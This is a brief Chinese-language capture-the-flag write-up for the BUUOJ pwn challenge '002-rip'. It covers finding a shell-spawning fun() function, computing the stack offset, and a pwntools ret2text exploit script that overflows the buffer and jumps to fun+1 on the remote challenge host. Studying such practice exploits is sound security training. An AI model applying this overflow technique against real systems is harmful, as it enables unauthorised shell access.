002-rip

刷题记录,题目来源:https://buuoj.cn/

ret2text,提供了直接的getshell函数,控制执行流到该shell函数中即可

查看源代码

发现fun()函数,内容为system("/bin/sh")可以直接拿到shell

RvwTdP.png

查看偏移值

【偏移值为15加上8?已解决】

偏移值为0xF,加上64位机器的地址是8字节

RvwoZt.png

db ? ; undefined

db 8 dup(?)
    db: 定义字节类型变量的伪指令
    dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定
    ?: 只分配存储空间,不指定初值

参考:https://www.cnblogs.com/Jlay/p/pwn_wp1.html

EXP

from pwn import *
context.arch = "amd64"
#sh = process("./002-rip")
sh = remote('node4.buuoj.cn', 28607)
elf = ELF("./002-rip")

system_addr = elf.symbols["fun"]
payload = flat(cyclic(23), system_addr + 1)
sh.send(payload)
sh.interactive()

system_addr + 1是为了堆栈平衡,【原理啥的】

RvwLRg.png

原文地址:https://www.cnblogs.com/labster/p/14992810.html